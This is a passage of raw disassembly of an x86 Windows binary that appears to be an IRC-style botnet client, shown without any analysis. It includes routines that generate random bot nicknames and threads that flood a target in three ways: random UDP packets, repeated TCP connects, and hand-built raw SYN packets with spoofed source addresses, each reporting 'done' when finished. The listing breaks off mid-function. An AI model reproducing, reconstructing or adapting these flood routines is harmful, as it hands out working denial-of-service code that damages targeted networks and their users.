loc_410DD8: ; CODE XREF: sub_410CB4+114j pop edi mov eax, ebx pop esi pop ebx leave retn sub_410CB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410DDF proc near ; CODE XREF: sub_410806+5Cp var_54 = byte ptr -54h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 54h push ebx push esi push edi push 10h mov ebx, offset dword_4544BC push 0 push ebx mov [ebp+var_14], ecx call sub_4221F0 add esp, 0Ch call dword_42F164 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx mov ecx, [ebp+var_14] mov [ebp+var_C], eax call sub_4110B0 mov [ebp+var_10], eax call sub_4220FC push 1Ah mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"... cdq pop ecx lea edi, [ebp+var_54] idiv ecx push 10h pop ecx rep movsd add dl, 61h mov [ebp+var_8], dl call sub_4220FC push 24h pop esi cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_7], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_6], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_5], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_4], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_3], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_2], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_1], al call sub_4220FC cdq idiv esi mov dl, [ebp+edx+var_54] movsx eax, dl push eax movsx eax, [ebp+var_1] push eax cmp [ebp+var_C], 5 movsx eax, [ebp+var_2] push eax movsx eax, [ebp+var_3] push eax movsx eax, [ebp+var_4] push eax movsx eax, [ebp+var_5] push eax movsx eax, [ebp+var_6] push eax movsx eax, [ebp+var_7] push eax movsx eax, [ebp+var_8] push eax push [ebp+var_10] jbe short loc_410F06 push [ebp+var_C] push offset aDSCCCCCCCCC ; "|%d|%s%c%c%c%c%c%c%c%c%c" push ebx call sub_422063 add esp, 34h jmp short loc_410F14 ; --------------------------------------------------------------------------- loc_410F06: ; CODE XREF: sub_410DDF+112j push offset aSCCCCCCCCC ; "%s%c%c%c%c%c%c%c%c%c" push ebx call sub_422063 add esp, 30h loc_410F14: ; CODE XREF: sub_410DDF+125j mov ecx, [ebp+var_14] call sub_41101E pop edi mov eax, ebx pop esi pop ebx leave retn sub_410DDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F23 proc near ; CODE XREF: sub_410806+68p var_48 = byte ptr -48h var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi push 10h mov ebx, offset dword_454498 push 0 push ebx call sub_4221F0 call sub_4220FC push 1Ah mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"... cdq pop ecx lea edi, [ebp+var_48] idiv ecx push 10h pop ecx rep movsd add dl, 61h mov [ebp+var_8], dl call sub_4220FC push 24h pop esi cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_7], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_6], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_5], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_4], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_3], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_2], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_1], al call sub_4220FC cdq idiv esi movsx eax, [ebp+edx+var_48] push eax movsx eax, [ebp+var_1] push eax movsx eax, [ebp+var_2] push eax movsx eax, [ebp+var_3] push eax movsx eax, [ebp+var_4] push eax movsx eax, [ebp+var_5] push eax movsx eax, [ebp+var_6] push eax movsx eax, [ebp+var_7] push eax movsx eax, [ebp+var_8] push eax push offset aCCCCCCCCC ; "%c%c%c%c%c%c%c%c%c" push ebx call sub_422063 add esp, 38h mov eax, ebx pop edi pop esi pop ebx leave retn sub_410F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41101E proc near ; CODE XREF: sub_410BF1+29p ; sub_410DDF+138p var_C = byte ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi push 10h mov esi, offset dword_454458 push 0 push esi mov ebx, ecx call sub_4221F0 add esp, 0Ch call dword_42F164 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx mov edi, offset asc_4388F4 ; "|" push edi push esi mov [ebp+var_4], eax call sub_422063 push offset dword_455388 call sub_414173 add esp, 0Ch test eax, eax jz short loc_41107E push offset aP_3 ; "P" push esi mov dword ptr [ebx+38h], 1 call sub_423270 pop ecx pop ecx loc_41107E: ; CODE XREF: sub_41101E+4Aj push [ebp+var_4] lea eax, [ebp+var_C] push offset a_2d ; "%.2d" push eax call sub_422063 mov eax, [ebp+var_4] mov [ebx+30h], eax lea eax, [ebp+var_C] push eax push esi call sub_423270 push edi push esi call sub_423270 add esp, 1Ch mov eax, esi pop edi pop esi pop ebx leave retn sub_41101E endp ; =============== S U B R O U T I N E ======================================= sub_4110B0 proc near ; CODE XREF: sub_410DDF+33p push esi push edi push 10h mov esi, offset dword_454468 push 0 push esi mov edi, ecx call sub_4221F0 add esp, 0Ch call dword_42F164 ; GetTickCount push offset dword_455388 call sub_414173 test eax, eax pop ecx jz short loc_4110EF push offset aP ; "P|" push esi mov dword ptr [edi+38h], 1 call sub_423270 pop ecx pop ecx loc_4110EF: ; CODE XREF: sub_4110B0+29j mov eax, esi pop edi pop esi retn sub_4110B0 endp ; =============== S U B R O U T I N E ======================================= sub_4110F4 proc near ; CODE XREF: sub_403B2C+18ECp ; sub_41A1AB+12p arg_0 = dword ptr 4 cmp byte ptr [ecx+4], 0 jnz short loc_4110FF xor eax, eax inc eax jmp short locret_411118 ; --------------------------------------------------------------------------- loc_4110FF: ; CODE XREF: sub_4110F4+4j push [esp+arg_0] push offset dword_43C088 push offset aSS ; "%s %s\r\n" push dword ptr [ecx] push ecx call sub_40FBDB add esp, 14h locret_411118: ; CODE XREF: sub_4110F4+9j retn 4 sub_4110F4 endp ; =============== S U B R O U T I N E ======================================= sub_41111B proc near ; CODE XREF: sub_403B2C+6EDp ; sub_403B2C+1B0Cp ... mov eax, [ecx+8] retn sub_41111B endp ; =============== S U B R O U T I N E ======================================= sub_41111F proc near ; CODE XREF: sub_403B2C+70Ap ; sub_40D7ED+8p ... mov eax, [ecx+0Ch] retn sub_41111F endp ; =============== S U B R O U T I N E ======================================= sub_411123 proc near ; CODE XREF: sub_412267+4ACp ; sub_415A65+32Fp ... mov al, [ecx+4] retn sub_411123 endp ; =============== S U B R O U T I N E ======================================= sub_411127 proc near ; CODE XREF: sub_412267+541p mov al, [ecx+5] retn sub_411127 endp ; =============== S U B R O U T I N E ======================================= sub_41112B proc near ; CODE XREF: sub_403B2C+4544p ; sub_403B2C+6ED3p mov eax, [ecx] retn sub_41112B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41112E proc near ; DATA XREF: sub_403B2C+519Ao var_154 = dword ptr -154h var_14C = byte ptr -14Ch var_CC = byte ptr -0CCh var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 154h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ch mov esi, eax pop ecx lea edi, [ebp+var_154] rep movsd mov dword ptr [eax+12Ch], 1 mov eax, [ebp+var_154] xor ebx, ebx mov [ebp+arg_0], eax push ebx mov [ebp+var_4], ebx call sub_4241D4 push 32h mov [ebp+var_C], eax call sub_422F79 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jz loc_4112A0 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_CC] push eax call dword_42F2AC ; inet_addr push [ebp+var_40] mov [ebp+var_20], eax mov [ebp+var_24], 2 call dword_42F2B8 ; ntohs mov esi, dword_42F298 mov [ebp+var_22], ax loc_4111B7: ; CODE XREF: sub_41112E+145j cmp [ebp+var_40], ebx jnz short loc_4111C5 call sub_4220FC mov [ebp+var_22], ax loc_4111C5: ; CODE XREF: sub_41112E+8Cj push 11h push 2 push 2 call dword_42F29C ; socket mov edi, eax cmp edi, ebx mov [ebp+var_10], edi jl loc_411278 push 8 call sub_41C235 test eax, eax pop ecx jle short loc_41120B push offset aStopped_ ; "Stopped." push 8 push ebx push ebx push [ebp+var_34] lea eax, [ebp+var_14C] push [ebp+var_30] push [ebp+arg_0] push eax call sub_41C090 add esp, 20h loc_41120B: ; CODE XREF: sub_41112E+BAj lea eax, [ebp+var_14] mov [ebp+var_14], 1 push eax push 8004667Eh push edi call dword_42F2B0 ; ioctlsocket loc_411222: ; CODE XREF: sub_41112E+103j call sub_4220FC mov ecx, [ebp+var_8] mov [ebx+ecx], al inc ebx cmp ebx, 32h jb short loc_411222 lea eax, [ebp+var_24] push 10h xor ebx, ebx push eax push ebx push 32h push ecx push edi call dword_42F2A4 ; sendto push edi call esi ; dword_42F298 cmp [ebp+var_4], 32h jb short loc_411265 push ebx call sub_4241D4 mov edx, [ebp+var_C] pop ecx mov ecx, [ebp+var_3C] add ecx, edx cmp eax, ecx jge short loc_4112A9 mov [ebp+var_4], ebx loc_411265: ; CODE XREF: sub_41112E+11Fj push [ebp+var_44] inc [ebp+var_4] call dword_42F15C ; Sleep xor ebx, ebx jmp loc_4111B7 ; --------------------------------------------------------------------------- loc_411278: ; CODE XREF: sub_41112E+AAj push edi call esi ; dword_42F298 push [ebp+var_38] call sub_41C059 pop ecx mov esi, offset dword_439638 mov ecx, [ebp+arg_0] push esi call sub_41074B mov ecx, [ebp+arg_0] push offset dword_43963C push esi call sub_410720 loc_4112A0: ; CODE XREF: sub_41112E+4Bj pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4112A9: ; CODE XREF: sub_41112E+132j cmp [ebp+var_30], 0 mov ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" mov edi, offset aSDone ; "%s done" jnz short loc_4112D3 cmp [ebp+var_34], 0 jnz short loc_4112D9 push ebx lea eax, [ebp+var_14C] push edi push eax push [ebp+arg_0] call sub_4104F6 add esp, 10h loc_4112D3: ; CODE XREF: sub_41112E+189j cmp [ebp+var_34], 0 jz short loc_4112ED loc_4112D9: ; CODE XREF: sub_41112E+18Fj push ebx lea eax, [ebp+var_14C] push edi push eax push [ebp+arg_0] call sub_410491 add esp, 10h loc_4112ED: ; CODE XREF: sub_41112E+1A9j push [ebp+var_8] call sub_4230B3 pop ecx push [ebp+var_10] call esi ; dword_42F298 push [ebp+var_38] call sub_41C059 pop ecx push 0 call dword_42F150 ; ExitThread sub_41112E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41130C proc near ; DATA XREF: sub_403B2C+5373o var_150 = dword ptr -150h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 150h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ch mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov ebx, [ebp+var_150] xor esi, esi push esi mov dword ptr [eax+12Ch], 1 mov [ebp+var_4], ebx mov [ebp+arg_0], esi call sub_4241D4 mov [ebp+var_8], eax push 10h lea eax, [ebp+var_20] push esi push eax call sub_4221F0 add esp, 10h lea eax, [ebp+var_C8] push eax call dword_42F2AC ; inet_addr push [ebp+var_3C] mov [ebp+var_1C], eax mov [ebp+var_20], 2 call dword_42F2B8 ; ntohs mov esi, dword_42F298 mov [ebp+var_1E], ax loc_411381: ; CODE XREF: sub_41130C+11Bj cmp [ebp+var_3C], 0 jnz short loc_411390 call sub_4220FC mov [ebp+var_1E], ax loc_411390: ; CODE XREF: sub_41130C+79j push 6 push 1 push 2 call dword_42F29C ; socket mov edi, eax test edi, edi mov [ebp+var_C], edi jl loc_41142C push 8 call sub_41C235 test eax, eax pop ecx jle short loc_4113D6 push offset aStopped_ ; "Stopped." push 8 push 0 push 0 push [ebp+var_30] lea eax, [ebp+var_148] push [ebp+var_2C] push ebx push eax call sub_41C090 add esp, 20h loc_4113D6: ; CODE XREF: sub_41130C+A7j lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax push 8004667Eh push edi call dword_42F2B0 ; ioctlsocket lea eax, [ebp+var_20] push 10h push eax push edi call dword_42F294 ; connect push edi call esi ; dword_42F298 cmp [ebp+arg_0], 32h jl short loc_41141B push 0 call sub_4241D4 mov edx, [ebp+var_8] pop ecx mov ecx, [ebp+var_38] add ecx, edx cmp eax, ecx jge short loc_41145B and [ebp+arg_0], 0 loc_41141B: ; CODE XREF: sub_41130C+F5j push [ebp+var_40] inc [ebp+arg_0] call dword_42F15C ; Sleep jmp loc_411381 ; --------------------------------------------------------------------------- loc_41142C: ; CODE XREF: sub_41130C+97j push edi call esi ; dword_42F298 push [ebp+var_34] call sub_41C059 pop ecx mov esi, offset dword_439638 push esi mov ecx, ebx call sub_41074B push offset dword_43963C push esi mov ecx, ebx call sub_410720 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_41145B: ; CODE XREF: sub_41130C+109j cmp [ebp+var_2C], 0 mov ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" mov edi, offset aSDone ; "%s done" jnz short loc_411485 cmp [ebp+var_30], 0 jnz short loc_41148B push ebx lea eax, [ebp+var_148] push edi push eax push [ebp+var_4] call sub_4104F6 add esp, 10h loc_411485: ; CODE XREF: sub_41130C+15Dj cmp [ebp+var_30], 0 jz short loc_41149F loc_41148B: ; CODE XREF: sub_41130C+163j push ebx lea eax, [ebp+var_148] push edi push eax push [ebp+var_4] call sub_410491 add esp, 10h loc_41149F: ; CODE XREF: sub_41130C+17Dj push [ebp+var_C] call esi ; dword_42F298 push [ebp+var_34] call sub_41C059 pop ecx push 0 call dword_42F150 ; ExitThread sub_41130C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4114B5 proc near ; DATA XREF: sub_403B2C+5523o var_250 = dword ptr -250h var_248 = byte ptr -248h var_1C8 = byte ptr -1C8h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_117 = byte ptr -117h var_116 = word ptr -116h var_114 = byte ptr -114h var_E8 = byte ptr -0E8h var_D4 = word ptr -0D4h var_D2 = word ptr -0D2h var_D0 = dword ptr -0D0h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6E = word ptr -6Eh var_6C = word ptr -6Ch var_6A = word ptr -6Ah var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = word ptr -66h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4A = word ptr -4Ah var_48 = word ptr -48h var_46 = word ptr -46h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = word ptr -40h var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = word ptr -38h var_36 = word ptr -36h var_34 = word ptr -34h var_30 = byte ptr -30h var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 250h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ch mov esi, eax pop ecx lea edi, [ebp+var_250] rep movsd xor esi, esi inc esi mov [eax+12Ch], esi mov eax, [ebp+var_250] mov [ebp+arg_0], eax lea eax, [ebp+var_1C8] push eax call sub_4140CF push 2 mov [ebp+var_1C], eax pop ecx xor ebx, ebx push 4 mov [ebp+var_C4], ecx pop eax mov [ebp+var_BC], 5 push 3 mov [ebp+var_C0], eax pop edi mov [ebp+var_B8], 0B4h push ebx mov [ebp+var_B4], eax mov [ebp+var_B0], ecx mov [ebp+var_AC], 8 mov [ebp+var_A8], 0Ah mov [ebp+var_A4], ebx mov [ebp+var_A0], ebx mov [ebp+var_9C], ebx mov [ebp+var_98], ebx mov [ebp+var_94], ebx mov [ebp+var_90], ebx mov [ebp+var_8C], ebx mov [ebp+var_88], ebx mov [ebp+var_84], esi mov [ebp+var_80], edi mov [ebp+var_7C], edi mov [ebp+var_78], ebx mov [ebp+var_8], ebx call sub_4241D4 pop ecx mov [ebp+var_18], eax pop ecx push 0FFh push edi push 2 call dword_42F29C ; socket cmp eax, ebx mov [ebp+var_10], eax jge short loc_4115D7 push eax call dword_42F298 ; closesocket push [ebp+var_134] call sub_41C059 pop ecx mov esi, offset dword_439638 mov ecx, [ebp+arg_0] push esi call sub_41074B mov ecx, [ebp+arg_0] push offset dword_43963C push esi call sub_410720 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4115D7: ; CODE XREF: sub_4114B5+E8j push 8 call sub_41C235 test eax, eax pop ecx jle short loc_41160A push offset aStopped_ ; "Stopped." push 8 push ebx push ebx push [ebp+var_130] lea eax, [ebp+var_248] push [ebp+var_12C] push [ebp+arg_0] push eax call sub_41C090 add esp, 20h loc_41160A: ; CODE XREF: sub_4114B5+12Cj xor eax, eax loc_41160C: ; CODE XREF: sub_4114B5+166j mov cl, byte ptr [ebp+eax*4+var_C4] mov [ebp+eax+var_30], cl inc eax cmp eax, 14h jl short loc_41160C lea eax, [ebp+var_1C8] push eax call dword_42F274 ; gethostbyname mov eax, [eax+0Ch] mov eax, [eax] mov edi, [eax] and edi, 0FFFFFFh call sub_4220FC cdq mov ecx, 0FFh push [ebp+var_13C] idiv ecx mov eax, [ebp+var_138] or [ebp+var_68], cl mov [ebp+var_14], eax mov eax, [ebp+var_74] and al, 45h mov [ebp+var_48], si mov esi, dword_42F2B8 or al, 45h mov [ebp+var_74], eax mov [ebp+var_70], 10h mov [ebp+var_6A], 40h mov [ebp+var_67], 6 mov [ebp+var_54], ebx mov [ebp+var_4E], 0Ah mov [ebp+var_50], bx mov [ebp+var_3A], bx mov [ebp+var_3C], bx mov [ebp+var_40], bx mov [ebp+var_42], bx mov [ebp+var_44], bx mov [ebp+var_46], bx mov [ebp+var_4A], bx mov [ebp+var_38], 787Dh mov [ebp+var_34], bx shl edx, 18h or edi, edx call esi ; dword_42F2B8 movzx eax, ax mov [ebp+var_C], eax loc_4116B8: ; CODE XREF: sub_4114B5+344j call sub_4220FC cmp [ebp+var_13C], ebx mov [ebp+var_4], eax jnz short loc_4116D0 call sub_4220FC mov [ebp+var_C], eax loc_4116D0: ; CODE XREF: sub_4114B5+211j push 3Ch call esi ; dword_42F2B8 mov [ebp+var_6E], ax call sub_4220FC mov [ebp+var_6C], ax mov eax, [ebp+var_1C] mov [ebp+var_60], eax mov ax, word ptr [ebp+var_4] mov [ebp+var_5C], ax mov ax, word ptr [ebp+var_C] mov [ebp+var_64], edi mov [ebp+var_66], bx mov [ebp+var_5A], ax call sub_4220FC mov [ebp+var_58], eax mov ax, word ptr [ebp+var_C] mov [ebp+var_D2], ax mov eax, [ebp+var_60] mov [ebp+var_D0], eax lea eax, [ebp+var_74] push 14h push eax mov [ebp+var_36], bx mov [ebp+var_D4], 2 call sub_414271 pop ecx mov [ebp+var_66], ax pop ecx call sub_4220FC mov [ebp+var_4], eax mov [ebp+var_27], al mov al, byte ptr [ebp+var_4+2] mov [ebp+var_26], ah mov [ebp+var_25], al mov al, byte ptr [ebp+var_4+3] mov [ebp+var_24], al mov eax, [ebp+var_64] mov [ebp+var_120], eax mov eax, [ebp+var_60] push 28h mov [ebp+var_11C], eax mov [ebp+var_118], bl mov [ebp+var_117], 6 call esi ; dword_42F2B8 mov [ebp+var_116], ax lea eax, [ebp+var_114] push 14h push eax lea eax, [ebp+var_5C] push eax call sub_4223F0 lea eax, [ebp+var_E8] push 14h push eax lea eax, [ebp+var_30] push eax call sub_4223F0 lea eax, [ebp+var_120] push 34h push eax call sub_414271 add esp, 20h mov [ebp+var_36], ax lea eax, [ebp+var_D4] push 10h push eax push ebx lea eax, [ebp+var_74] push 3Ch push eax push [ebp+var_10] call dword_42F2A4 ; sendto cmp [ebp+var_8], 32h jb short loc_4117EA push ebx call sub_4241D4 mov edx, [ebp+var_18] pop ecx mov ecx, [ebp+var_14] add ecx, edx cmp eax, ecx jnb short loc_4117FE mov [ebp+var_8], ebx loc_4117EA: ; CODE XREF: sub_4114B5+31Dj push [ebp+var_140] inc [ebp+var_8] call dword_42F15C ; Sleep jmp loc_4116B8 ; --------------------------------------------------------------------------- loc_4117FE: ; CODE XREF: sub_4114B5+330j push [ebp+var_10] mov esi, dword_42F298 call esi ; dword_42F298 cmp [ebp+var_12C], ebx mov edi, offset aSDone ; "%s done" jnz short loc_411836 cmp [ebp+var_130], ebx jnz short loc_41183E push offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" lea eax, [ebp+var_248] push edi push eax push [ebp+arg_0] call sub_4104F6 add esp, 10h loc_411836: ; CODE XREF: sub_4114B5+35Fj cmp [ebp+var_130], ebx jz short loc_411856 loc_41183E: ; CODE XREF: sub_4114B5+367j push offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" lea eax, [ebp+var_248] push edi push eax push [ebp+arg_0] call sub_410491 add esp, 10h loc_411856: ; CODE XREF: sub_4114B5+387j push [ebp+var_10] call esi ; dword_42F298 push [ebp+var_134] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread sub_4114B5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41186E proc near ; DATA XREF: sub_403B2C+5706o var_15C = dword ptr -15Ch var_154 = byte ptr -154h var_D4 = byte ptr -0D4h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 15Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ch mov esi, eax pop ecx lea edi, [ebp+var_15C] rep movsd xor edi, edi mov ebx, 1A0Ah inc edi xor esi, esi mov [eax+12Ch], edi mov eax, [ebp+var_15C] push ebx mov [ebp+arg_0], eax mov [ebp+var_C], edi mov [ebp+var_8], esi call sub_422F79 push esi mov [ebp+var_14], eax call sub_4241D4 mov [ebp+var_18], eax mov eax, [ebp+var_44] mov [ebp+var_1C], eax push 10h lea eax, [ebp+var_2C] push esi push eax call sub_4221F0 lea eax, [ebp+var_D4] push eax call sub_4140CF mov esi, dword_42F164 mov [ebp+var_28], eax mov ax, [ebp+var_48] add esp, 18h mov [ebp+var_2C], 2 mov [ebp+var_2A], ax call esi ; dword_42F164 mov [ebp+var_10], eax jmp loc_4119AD ; --------------------------------------------------------------------------- loc_4118FD: ; CODE XREF: sub_41186E+150j call sub_4220FC push 11h push 2 push 2 mov [ebp+var_2A], ax call dword_42F29C ; socket test eax, eax mov [ebp+var_4], eax jl loc_411A29 push 8 call sub_41C235 test eax, eax pop ecx jle short loc_41194C push offset aStopped_ ; "Stopped." push 8 push 0 push 0 push [ebp+var_3C] lea eax, [ebp+var_154] push [ebp+var_38] push [ebp+arg_0] push eax call sub_41C090 add esp, 20h loc_41194C: ; CODE XREF: sub_41186E+B9j lea eax, [ebp+var_C] push 4 push eax push 8004667Eh push 11h mov [ebp+var_C], edi push [ebp+var_4] call dword_42F2B4 ; setsockopt lea eax, [ebp+var_2C] push 10h push eax push 0 push ebx push [ebp+var_14] push [ebp+var_4] call dword_42F2A4 ; sendto push [ebp+var_4] call sub_4265E4 cmp [ebp+var_8], 32h pop ecx jl short loc_4119A1 push 0 call sub_4241D4 mov edx, [ebp+var_18] pop ecx mov ecx, [ebp+var_1C] add ecx, edx cmp eax, ecx jnb short loc_4119C4 and [ebp+var_8], 0 loc_4119A1: ; CODE XREF: sub_41186E+119j push [ebp+var_4C] inc [ebp+var_8] call dword_42F15C ; Sleep loc_4119AD: ; CODE XREF: sub_41186E+8Aj call esi ; dword_42F164 sub eax, [ebp+var_10] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_44] jbe loc_4118FD loc_4119C4: ; CODE XREF: sub_41186E+12Dj push [ebp+var_4] call sub_4265E4 xor ebx, ebx pop ecx cmp [ebp+var_38], ebx mov edi, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" mov esi, offset aSDone ; "%s done" jnz short loc_4119F7 cmp [ebp+var_3C], ebx jnz short loc_4119FC push edi lea eax, [ebp+var_154] push esi push eax push [ebp+arg_0] call sub_4104F6 add esp, 10h loc_4119F7: ; CODE XREF: sub_41186E+16Ej cmp [ebp+var_3C], ebx jz short loc_411A10 loc_4119FC: ; CODE XREF: sub_41186E+173j push edi lea eax, [ebp+var_154] push esi push eax push [ebp+arg_0] call sub_410491 add esp, 10h loc_411A10: ; CODE XREF: sub_41186E+18Cj push [ebp+var_4] call dword_42F298 ; closesocket push [ebp+var_40] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread loc_411A29: ; CODE XREF: sub_41186E+A9j push eax call dword_42F298 ; closesocket push [ebp+var_40] call sub_41C059 pop ecx mov esi, offset dword_439638 mov ecx, [ebp+arg_0] push esi call sub_41074B mov ecx, [ebp+arg_0] push offset dword_43963C push esi call sub_410720 pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_41186E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A5E proc near ; CODE XREF: .text:00411FA2p ; .text:00411FD1p var_89AC = byte ptr -89ACh var_8944 = byte ptr -8944h var_68D4 = byte ptr -68D4h var_6864 = byte ptr -6864h var_5DA0 = byte ptr -5DA0h var_47FC = byte ptr -47FCh var_47FB = byte ptr -47FBh var_3768 = byte ptr -3768h var_2CA4 = byte ptr -2CA4h var_2CA3 = byte ptr -2CA3h var_2CA0 = byte ptr -2CA0h var_24BC = byte ptr -24BCh var_24AC = byte ptr -24ACh var_2188 = byte ptr -2188h var_2184 = byte ptr -2184h var_2178 = byte ptr -2178h var_1EF0 = byte ptr -1EF0h var_1E74 = byte ptr -1E74h var_16A4 = byte ptr -16A4h var_11F9 = byte ptr -11F9h var_F0C = byte ptr -0F0Ch var_E6C = byte ptr -0E6Ch var_760 = dword ptr -760h var_750 = byte ptr -750h var_73C = byte ptr -73Ch var_FC = byte ptr -0FCh var_FB = byte ptr -0FBh var_AC = byte ptr -0ACh var_A9 = byte ptr -0A9h var_7F = byte ptr -7Fh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_34 = byte ptr -34h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_D0 = dword ptr 0D8h arg_D4 = dword ptr 0DCh push ebp mov ebp, esp mov eax, 89ACh call sub_4220C0 mov eax, dword_439004 push ebx mov [ebp+var_C], eax mov eax, dword_439008 mov 